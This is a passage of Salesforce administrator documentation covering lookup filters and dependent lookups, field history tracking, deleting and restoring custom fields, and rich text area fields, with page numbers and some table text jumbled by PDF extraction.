Testing After creating a lookup filter, test it to make sure it is not too restrictive. Depending on their permissions, some users may have read-only access to some relationship fields; ensure your lookup filters don't prevent those users from editing records critical to their job functions. Dependent Lookups on Page Layouts and Mini Page Layouts in the Console When designing page layouts with dependent lookups: If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout. Moving a required dependent lookup above its controlling field may confuse users who typically start from the top of a page when entering data. Ensure that both the controlling and dependent fields are visible so users can correct invalid values.

Lookup Filters and the Lookup Filter Fields Search Layout Do not reference the same fields in both lookup filter criteria and the Lookup Filter Fields search layout. Users might assume that results from their custom search override administrator-controlled lookup filters. Implementation Notes Salesforce supports lookup filters on relationship fields that point to: Accounts Assets Contacts Entitlements Quotes Service contracts Users Custom objects

For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa. Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as the fields are compatible. Source Object Field Type Currency Date Date/Time Hierarchy Lookup Master-Detail Number Percent Picklist Roll-Up Summary Compatible Target Object Field Types Currency, Roll-Up Summary Date, Date/Time, Roll-Up Summary Date, Date/Time, Roll-Up Summary Hierarchy, Lookup, Master-Detail Hierarchy, Lookup, Master-Detail Lookup, Hierarchy, Master-Detail Number, Percent, Roll-Up Summary Number, Percent, Roll-Up Summary Text, Text Area, Email, URL Currency, Number, Date, Date/Time, Roll-Up Summary

997

Customize

About Custom Fields

Lookup filter criteria cannot reference the following types of fields on the source object: Autonumber Encrypted Formula Long text area Multi-select picklist Roll-up summary Text Text area URL

On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter is required. If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria, Salesforce displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than typing profile names. The lookup filters you create in Salesforce also appear in the partner portal and Customer Portal. Lookup filters are case-sensitive. If you convert a required lookup filter with a custom error message to optional, Salesforce deletes the message. If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits the record, Salesforce displays an error message and requires the user to change the invalid value before saving. Salesforce prevents you from saving changes that cause required lookup filters on related records to contain invalid values. Lookup auto-completion doesn't work for user lookups with additional drop-down lists. This is primarily for organizations that have set up either a partner portal or Customer Portal. Salesforce ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead Convert checkbox on the Lead Settings page is deselected. Versions 16.0 and higher of the Salesforce API support lookup filters. Lookup filters are enforced when you load data through the API. If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users are never valid for relationship fields that point to the User object. In enhanced list views, you cannot change fields that a dependent lookup filter criteria references. Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a mass owner change can result in incorrect values that won't be noticed until you attempt to save the record. Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support. If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization at the same time. Salesforce does not display an error message if the value of a controlling field invalidates the value of a dependent master-detail relationship field. Salesforce does not support inline editing in list views for: Fields on the source object that are referenced in dependent lookups. Fields with dependent lookups.

Spanning Relationships in Lookup Filters Filter criteria can include fields directly related to the target object (one level only). For example, on a lookup field pointing to contacts, a lookup filter can reference fields on the account related to the contact via the Account Name relationship field. The lookup field can also reference fields on the contact related to the contact via the Reports To relationship field.

998

Customize

About Custom Fields

For required lookup filters, each field referenced on a related lookup object counts against the number of unique relationships allowed for the referenced object, not the source object. For example, the two unique relationships described above count against the number allowed for the Contact object. Optional lookup filters don't count against the limit on the number of unique relationships allowed per object. To see which lookup filters affect the limit for a particular target object: For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click Related Lookup Filters. For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll to the Related Lookup Filters related list.

Lookup Filters vs. Validation Rules Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if: You want to improve user efficiency by limiting the number of available options in a lookup search dialog. You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if: You're close to the maximum number of lookup filters allowed. You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example, use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Other Limitations Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and custom objects, with the following exceptions: Relationship fields on activities System fields that are always read only, such as Created By and Modified By Relationship fields that support queues, such as Case Owner, Lead Owner, and Delegated Approver Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce your business rule when a user saves. Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an Expected Revenue field value greater than 100,000, regardless of the currency. You can't use special date values, such as Today or This Month, in lookup filter criteria. You can't delete fields that are referenced in an active lookup filter. You can't change the field type of fields referenced by an active lookup filter.

Using Lookup Filters with Person Accounts If your organization uses person accounts, note the following: Person Accounts don't support Contact filters; however, Person Accounts support Account filters. For example, if the Account field has a dependent lookup filter that's added to a Person Account, dependent lookups are supported. If the Contact field has a dependent lookup filter that's added to a Person Account, dependent lookups isn't supported. Lookup filter criteria on Account Name only apply to business accounts, not person accounts. For example, if your lookup filter criteria is Account Name does not contain book, business accounts with "book" in the name, such as John's Bookstore, are not valid, but person accounts with book in the name, such as John Booker, are valid and appear in the

999

Customize

About Custom Fields

lookup dialog for the Account field. If you need to filter on the name for a person account, use the First Name or Last Name fields instead. Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one type of account (either person accounts or business accounts). For example, to restrict a lookup to only person accounts, include the following in your lookup filter criteria: Is Person Account equals True. You can't package lookup filters that reference standard fields specific to person accounts, such as the Email and Title fields.

See Also:
About Lookup Filters About Dependent Lookups Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Defining Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To define lookup filters: "Customize Application"

To define a lookup filter: 1. You can create lookup filters for new relationship fields in step 3 of the custom field wizard. To create a lookup filter on an existing field: a. Navigate to the fields area of the object that contains the relationship field: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter. 2. In the Lookup Filter Options section, click Show Filter Settings. 3. Specify the filter criteria a record must meet to be a valid value. To specify criteria, click Insert Suggested Criteria and choose from a list of suggested criteria, or manually enter your own criteria. To enter your own criteria: a. In the first column, click the lookup icon or start typing in the text box and select a field. b. In the second column, select an operator. c. In the third column, select Value if Salesforce should compare the field in the first column with a static value, or select Field if Salesforce should compare the field in the first column with the value of another field. d. In the fourth column, enter the value or select the field that Salesforce should compare with the field in the first column.

1000

Customize

About Custom Fields

Note: Click Add Filter Logic to add Boolean conditions. You can select from fields on the current record, the lookup object, or the user record. You can also choose related fields that are one relationship away from the lookup object. Salesforce assists you by listing the available fields and relationships when you click the lookup icon or click inside the text boxes. Lookup filter criteria can compare fields of different types as long as they are compatible.

4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save such values. For required lookup filters, specify whether you want Salesforce to display the standard error message or a custom message when a user enters an invalid value. 5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains the business rule that the lookup filter implements. 6. Leave Active selected. 7. Click Save. Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet, Salesforce prevents the user from saving changes to the detail record. If this occurs, the user must first modify the value on the master record to meet the criteria. For example, consider a custom object with a master-detail relationship field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date before 01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any account created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date before 01/01/2009. If at some point you no longer need this lookup filter, return to this page and do one of the following: Deactivate the lookup filter Deactivating a lookup filter preserves the lookup filter configuration but: Prevents it from applying to the relationship field Prevents it from impacting the cross-object references limit Removes it as a dependency for fields referenced in the lookup filter criteria

To deactivate the lookup filter, deselect Active, then click Save. Delete the lookup filter Deleting a lookup filter permanently removes it. You cannot recover deleted lookup filters. To delete the lookup filter, click Clear Filter Criteria, then click Save. Viewing a List of Lookup Filters for a Target Object You can quickly see a list of all of the lookup filters that restrict the values of each target object. This is useful when creating similar filters for a target object. Also, lookup filters that reference fields on related objects count against the cross-object reference limit, which is the number of unique relationships allowed for a target object. The Related Lookup Filters list lets you see which lookup filters might impact that limit. To see which lookup filters affect the limit for a particular target object:

1001

Customize

About Custom Fields

For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click Related Lookup Filters. For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll to the Related Lookup Filters related list.

See Also:
About Lookup Filters Notes on Lookup Filters About Dependent Lookups Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Lookup Filter Examples


Available in: All Editions except for Database.com.

User Permissions Needed To define lookup filters: "Customize Application"

Record Types in Lookup Filters If the value of a relationship field should only consist of records with a particular record type, specify the record type in a lookup filter. For example, if the Account Name field on opportunities should only have accounts with a Customer Account custom record type, define the following lookup filter to restrict users to only creating or editing opportunities associated with accounts that have a Customer Account record type, excluding accounts with Partner Account and Competitor Account record types: Filter Criteria
Account Name: Account Record Type equals value Customer Account

Custom Error Message Account does not exist or is not a customer account. Lookup Window Text You can only associate customer accounts to an opportunity. Search results only display customer accounts. Record Status in Lookup Filters If the value of a relationship field should only consist of records with particular status, specify the status in a lookup filter. For example, consider a Job Application object with a relationship field that points to the Position object. If the relationship field should only have open positions, define the following lookup filter to restrict users to only creating or editing job applications for positions with the Status field set to Open:

1002

Customize

About Custom Fields

Filter Criteria
Position: Status equals value Open

Custom Error Message Position does not exist or is not an open position. Lookup Window Text You can associate only open positions with job applications. Search results display open positions only. Profiles in Lookup Filters When a business rule does not apply to users with every profile, use the Current User Profile global variable fields to define lookup filters that only affect users with a particular profile. For example, the following lookup filter on the Case object Account Name field restricts users with a Domestic Sales profile to only creating or editing opportunities associated with accounts that have a billing country of USA while allowing other users to associate opportunities with any account: Filter Criteria 1. Current User Profile: Name equals value Domestic Sales 2. Account Name: Billing Country equals value USA 3. Current User Profile: Name not equal to value Domestic Sales Filter Logic
(1 AND 2) OR 3

Custom Error Message Account does not exist or the account billing country is not USA. Domestic sales reps can only create opportunities for accounts in the United States. Lookup Window Text Search results show only United States accounts in the for domestic sales representatives. You can modify the above example to simultaneously restrict users with a Global Sales custom profile to only associating opportunities to accounts with a non-US billing country: Filter Criteria 1. 2. 3. 4. 5.
Current Account Current Account Current User Profile: Name: Billing User Profile: Name: Billing User Profile: Name equals value Global Sales Country not equal to value USA Name equals value Domestic Sales Country equals value USA Name not equal to value Global Sales, Domestic Sales

Filter Logic
(1 AND 2) OR (3 AND 4) OR 5

1003

Customize

About Custom Fields

Custom Error Message Account does not exist or the account billing country is not in your sales area. Sales reps can only create opportunities for accounts in their sales area. Lookup Window Text Search results only display accounts in your region. Important: If you do not include line 5 in the filter criteria, users who are not in Global Sales or Domestic Sales cannot select or save any values on account records.

Roles in Lookup Filters When a business rule does not apply to users in every role, use the Current User Role global variable fields to define lookup filters that only affect users with particular roles. For example, in a recruiting application that has a Position object with a lookup field to a Compensation Package object, you can restrict users from editing or creating positions that have an executive compensation plan unless they are executive administrators or vice presidents. To do this, define the following lookup filter on the Position object Compensation Package Name field: Filter Criteria 1. 2. 3. 4. 5.
Current User Current User Compensation Current User Current User Role: Name does not start with value VP Role: Name does not equal value Executive Administrator Package: Plan Type does not equal value Executive Role: Name starts with value VP Role: Name equals value Executive Administrator

Filter Logic
((1 OR 2) AND 3) OR (4 OR 5)

Custom Error Message The compensation plan does not exist, or you have selected an executive compensation plan but do not have access to create executive positions. Lookup Window Text Search results only display compensation plans that are relevant to positions you are allowed to create. Important: Include the condition you are testing and the opposite condition. In this example, lines 1, 2, and 3 of the filter criteria ensure that users who are not VPs or Executive Administrators cannot select Executive compensation plans, while lines 4 and 5 ensure that VPs and Executive Administrators can select Executive compensation plans. Blank Values in Lookup Filters Your lookup filter criteria might reference a field that users often leave blank. You can design your lookup filter criteria to accept blank values by using the Add Filter Logic in the filter criteria to create an OR condition. For example, if you have a Partner Contact custom field on opportunities, restrict the field to only allow contacts that are associated to an account with a Partner Account record type, or private contacts not associated with any account. Filter Criteria 1. Partner Contact: Account: Account Record Type equals value Partner Account 2. Partner Contact: Account: Account Name equals value

1004

Customize

About Custom Fields

Filter Logic
1 OR 2

Custom Error Message The partner contact must be associated with a partner account, or must be a private contact. Lookup Window Text Search results only display contacts from partner accounts or your private contacts. User IDs in Lookup Filters Using user IDs in optional lookup filters can significantly improve user efficiency by first showing lookup search dialog results that are most relevant to the user while still allowing users to see all results if necessary. For example, on a lookup field to accounts, you can create an optional lookup filter that restricts the search results to accounts that the user owns in the search lookup dialog results. If the user is looking for an account that someone else owns, the user can remove the filter. Filter Criteria
Current User: User ID equals Field Account: Owner ID

Lookup Window Text By default, search results only display accounts you own. To search all accounts, click Show all results. Simple Dependent Lookups If the value of a relationship field should depend on the value of another relationship field on the current record, specify the field to field comparison in the criteria. For example, if the case Contact Name field should only have contacts associated to the account specified in the case Account Name field, use the following lookup filter: Filter Criteria
Contact Name: Account ID equals field Case: Account ID

Custom Error Message Contact does not exist or is not associated to the case account. Lookup Window Text Search results only display contacts associated to the case account. Note: When comparing lookup fields in lookup filter criteria, Salesforce always uses the ID of the relationship field, not the name.

Complex Lookup Filters and Dependent Lookups Achieving complex business rules with lookup filters often involves combing your rules with filter logic and fields of various types. For example, consider an app for booking conference rooms that has the following data model: Object Meeting Fields
Meeting Name Office lookup to the Office object Projector Required checkbox

1005

Customize

About Custom Fields

Number of Participants number field Conference Room lookup to the Conference Room

object Conference Room


Conference Room Name Has Projector checkbox Number of Seats Available number field Conference Room Location lookup to the Office

object Office
Office Name

The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have a projector if the meeting requires one, as well as the necessary number of seats: Filter Criteria 1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector 2. Meeting: Projector Required equals value False 3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants

Filter Logic
(1 OR 2) AND 3

Custom Error Message Conference room not found or is insufficient for your meeting. Lookup Window Text Search results only display conference rooms that can support your meeting requirements. To refine the valid values even further, incorporate the office where the conference room is located: Filter Criteria 1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector 2. Meeting: Projector Required equals value False 3. Conference Room: Number of Seats Available greater than field Meeting: Number of
Participants

4. Meeting: Office equals Field Conference Room: Conference Room Location Filter Logic
(1 OR 2) AND 3 AND 4

Custom Error Message Conference room not found or is insufficient for your meeting.

1006

Customize

About Custom Fields

Lookup Window Text Search results only display conference rooms that can support your meeting requirements.

See Also:
About Lookup Filters Notes on Lookup Filters About Dependent Lookups Defining Lookup Filters Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Tracking Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To set up which fields are tracked: Customize Application

You can select certain standard and custom fields to track on the History related list of accounts, cases, contacts, contracts, leads, opportunities, solutions, and custom objects. Modifying any of these standard or custom fields adds a new entry to the History related list. All entries include the date, time, nature of the change, and who made the change. History data does not count against your organizations storage limit. Note that not all fields types are available for history tracking. . For more information on tracking field history, see the following: Tracking Field History for Standard Objects Tracking Field History for Custom Objects History Tracking Implementation Tips

Tracking Field History for Standard Objects You can track field history for: Accounts Cases Contacts Entitlements Service contracts Contract line items Contracts Leads

1007

Customize

About Custom Fields

Opportunities Solutions

To set up field history tracking: 1. Click Your Name > Setup > Customize and select the object you want to configure. 2. Click Fields. 3. Click Set History Tracking. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from associated page layouts. This checkbox is not available for cases, solutions, or contracts because you cannot disable their history tracking. Certain changes, such as case escalation, are always tracked. When you choose the fields you want to track, Salesforce begins tracking history from that date and time forward. Changes made before that date and time are not included. Note that some case, solution, and contract fields are preselected for history tracking, so changes to those fields are automatically tracked from the time your organization began using Salesforce.

4. Choose the fields you want tracked. 5. Click Save. Tracking Field History for Custom Objects To track field history for custom objects: 1. Click Your Name > Setup > Create > Objects and click Edit next to the name of the custom object. 2. Select the Track Field History checkbox. Deselect the checkbox if you do not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from the custom object's page layouts. 3. Click Save. 4. Select the name of the custom object. 5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set a custom object's history tracking for both standard and custom fields. When you choose the fields you want to track, Salesforce begins tracking history from that date and time forward. Changes made before that date and time are not included. If you deselected the Track Field History checkbox, the Set History Tracking button does not display. 6. Choose the fields you want tracked. 7. Click Save. History Tracking Implementation Tips Administration You can select a combination of up to 20 standard and custom fields per object. You cannot track the following fields: History of formula, roll-up summary, or auto-number Created By and Last Modified By Expected Revenue field on opportunities

1008

Customize

About Custom Fields

Master Solution Title or the Master Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled Field history is stored for 18 months. To archive field history, you can: Schedule a regular export of FieldHistory data Export to a CSV file using object-specific field history reports Run a query using the Web services API and save your results If you use both business accounts and person accounts, review the following before enabling account field history tracking: Field history tracking for accounts affects both business accounts and person accounts. A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts. Enabling field history tracking on person accounts does not enable field history tracking on personal contacts. To report on person account history, run the Account History report.

You can report on activated contracts whose fields are tracked by clicking New Custom Report on the Reports tab, selecting Contract Reports as the data type, and choosing Contract History. If you disable field history tracking on an object, you can still report on its history data up to the date and time you disabled tracking. You cannot disable field history tracking for an object if a field on the object is referenced in an Apex script. For more information, see Apex Code Overview on page 1825. If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show the deletion.

Customization When you enable history tracking for an object, be sure to customize your page layouts to include the object's history related list. For more information, see Customizing Page Layouts on page 1191. You cannot customize which opportunity fields are tracked in the opportunities' Stage History related list; however, you can choose which opportunity fields are tracked in the Opportunity Field History related list. You cannot customize the History related list because it does not store data. The History related list links to data stored elsewhere. When you delete a custom field, all of the field history data is deleted and changes are no longer tracked. If you disable field history tracking on a custom object, then you cannot report on its field history.

Management Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. For example, changes to long text area fields are tracked as edited. Tracked field values are not automatically translated; they display in the language in which they were made. For example, if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist values. Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States) locale and as 5/8/2005 for a user with the English (United Kingdom) locale. Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as Red.

1009

Customize

About Custom Fields

Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of a change to an opportunity's products or schedules. Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API. Field updates are tracked in the History related list if you have set history tracking on those fields.

See Also:
Case History Solution History Contract History About Custom Fields Deleting Fields

Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Fields are not available in Database.com

To view the details for a custom or standard field: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting. 4. Click the name of the field. 5. From the field detail page, you can: Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page 1163. Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer Edition organizations only. Click View Field Accessibility to view who can access the field based on permissions and record type. Available in Enterprise, Unlimited, and Developer Edition organizations only. If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. For information on dependent picklists, see Defining Dependent Picklists on page 973. If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency rules. For information on dependent picklists, see Defining Dependent Picklists on page 973. Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a validation rule or Del to remove it. See Defining Validation Rules on page 1066. For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for Updating Picklists on page 968. To change (External ID), Required, or other attributes under the General Options section, see Custom Field Attributes on page 988.

1010

Customize

About Custom Fields

Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted Custom Fields on page 1012. Note: If your organization uses person accounts, the Account Fields page lists both person account and business account fields. Person accounts use a combination of account and contact fields. The following contact fields are available for person accounts: Fields in the Account Standard Fields list that display with a person account icon. Fields in the Contact Custom Fields & Relationships list.

These contact fields are not available for business accounts. To customize these fields, go to Your Name > Setup > Customize > Contacts > Fields. For more information, see What is a Person Account? on page 61.

See Also:
Customizing Fields Custom Settings Overview

Deleting Fields
Available in: All Editions

User Permissions Needed To delete custom fields: Customize Application

To delete a custom field: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. Click Del next to the name of the field. 4. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete. Salesforce stores deleted custom fields and their data until your organization permanently deletes them or 45 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1012.

1011

Customize

About Custom Fields

Note: Before deleting a custom field, consider where it is referenced. Salesforce prevents you from deleting a custom field that is referenced elsewhere. For example, you cannot delete a custom field that is referenced by a field update or Apex. When you delete a custom field, all of the field history data is deleted and changes are no longer tracked. Salesforce periodically runs a background process that cleans up metadata associated with deleted custom fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom objects.

See Also:
Tracking Field History

Managing Deleted Custom Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Page Layouts and Lead Fields are not available in Database.com

User Permissions Needed To restore deleted custom fields and relationships: To permanently delete custom fields or relationships: Customize Application Customize Application

Salesforce stores deleted custom fields and their data until your organization permanently deletes them or 45 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against the maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields and relationships allowed in your organization, see Salesforce Editions and Limits on page 1898. To view a list of your deleted custom fields and relationships: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the total number of deleted custom fields for this object. This link only displays when you have a deleted custom field. 4. Use the list of deleted fields to perform the following actions: To view details about a field, click the field label. To permanently remove the custom field and its data, click Erase. To restore the field and its data, click Undelete. Some attributes of deleted fields are not restored automatically. To restore these attributes manually: a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page layouts were not edited, the restored field remains on them.

1012

Customize

About Custom Fields

b. Make the field unique if necessary. Salesforce automatically removes the unique attribute from any deleted custom field. c. Make the field required if necessary. Salesforce automatically removes the required attribute for any deleted custom field. d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce automatically removes deleted custom fields from packages that contain them. e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce converts all relationships to lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship, populate all the applicable records with the appropriate data. f. Redefine any field dependencies that Salesforce removed when the field was deleted. g. Edit and save any formula fields, prompting a syntax check that you may have to resolve. h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during the time the custom field was deleted, the restored field is no longer set up to track field history.

Notes on Restored Custom Fields Salesforce appends the following characters to the end of a custom field's developer name when it is deleted unless a deleted field already has that developer name: _del. These characters remain when you restore the custom field. Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them. While a formula field is disabled, #Error! displays in place of the formula value. Restored fields do not display in search results immediately after you restore them. It may take a short time before the restored custom field and its data is available in search results. Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly when restored. Auto number fields continue to increment after they are deleted and contain the correct values when restored. Field history data for the deleted custom field is restored.

Additional Custom Field Options


Changing Page Layouts To change the location of a new custom field, edit the page layout for the appropriate tab. See Managing Page Layouts on page 1188. Using Record Types If your organization uses record types, edit the record type to modify which picklist values are visible for the record type. See Managing Record Types on page 1180. Tracking Custom Field History You can select which custom fields to track on the History related list of cases, solutions, and contracts. All entries include the date, time, nature of the change, and who made the change. History data does not count against your organizations storage limit. See Tracking Field History on page 1007. Using the Translation Workbench If your organization uses the Translation Workbench, notify your translators that new fields need translations. For more information, see Setting Up the Translation Workbench on page 451.

1013

Customize

About Custom Fields

Activity Custom Fields Activity custom fields can apply only to tasks or only to events, or to both tasks and events. For example, you can create one Time Spent field and then add it to both the event page layout and the task page layout. Mapping Custom Lead Fields For lead custom fields, you can click Map Lead Fields to specify which custom lead fields to map to custom account, contact, and opportunity fields during a lead conversion. See Mapping Custom Lead Fields on page 1250.

See Also:
Changing Custom Field Type

Using Rich Text Area Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: "Customize Application"

To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area fields use the Salesforce HTML editor to format content. Implementation Tips Before creating rich text area custom fields, note the following: Salesforce supports up to 32,768 characters for each rich text area field, including the HTML tags. If desired, you can set a lower limit. When you view or print content, Salesforce preserves the formatted version of the HTML in rich text area fields. Searches of content that contains rich text area fields ignore images and tags. Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article types. There are no limits to the number of rich text area and long text area fields that an object can contain, although your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256 characters. Maximum size for uploaded images is 1 MB. Only gif, jpeg and png file types are supported. You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area field is saved. You can't add a hyperlink to an image. There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or images on certain fields. HTML code is not supported in the Salesforce HTML editor. HTML code is treated as text.

1014

Customize

About Custom Fields

JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code is removed without warning. If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce supports a limited number of approved HTML tags. Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text. Only the first 254 characters in a rich text area or a long text area is displayed in a report. If you download the report, the entire field is available. When a rich text area field is used in a formula, the HTML tags are stripped out before the formula is run. For example, when a rich text area field is used in a validation rule's criteria, the HTML tags are removed before the evaluation. Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals. Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported data. The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the text in the field. The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images within the rich text area fields are counted towards file storage for the entity that contains the field. The rich text area field is available in the API.

Best Practices You can specify how big the editor box should be for this field by configuring the Number of lines displayed property in the fields setup. We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single column. To upload many images, use the API version 20 or later. For more information, see Configuring the Data Loader to Use the Bulk API and the Force.com Web Services API Developer's Guide. Note: When uploading images with the API, the alt attribute is not populated unless specified separately.

See Also:
Creating Custom Fields Adding Custom Fields to Article Types

Using the HTML Editor

1015

Customize

About Custom Fields

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: "Customize Application"

To improve the appearance of text in custom fields, use the Salesforce HTML editor to format custom fields that were defined with the rich text area custom field type. The Salesforce HTML editor provides a WYSIWYG interface, allowing you to perform basic formatting operations. You can: Format text as bold, italicized, or underlined Create bulleted and numbered lists Change paragraph indentation Insert hyperlinks to Web pages Insert an image

Common scenarios include: Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a larger font size Itemizing steps in a numbered or bulleted list to help users better understand a procedure Supporting your company's brand identity by specifying the URL of a logo on your website Including a link to a related and accessible page of your company's website

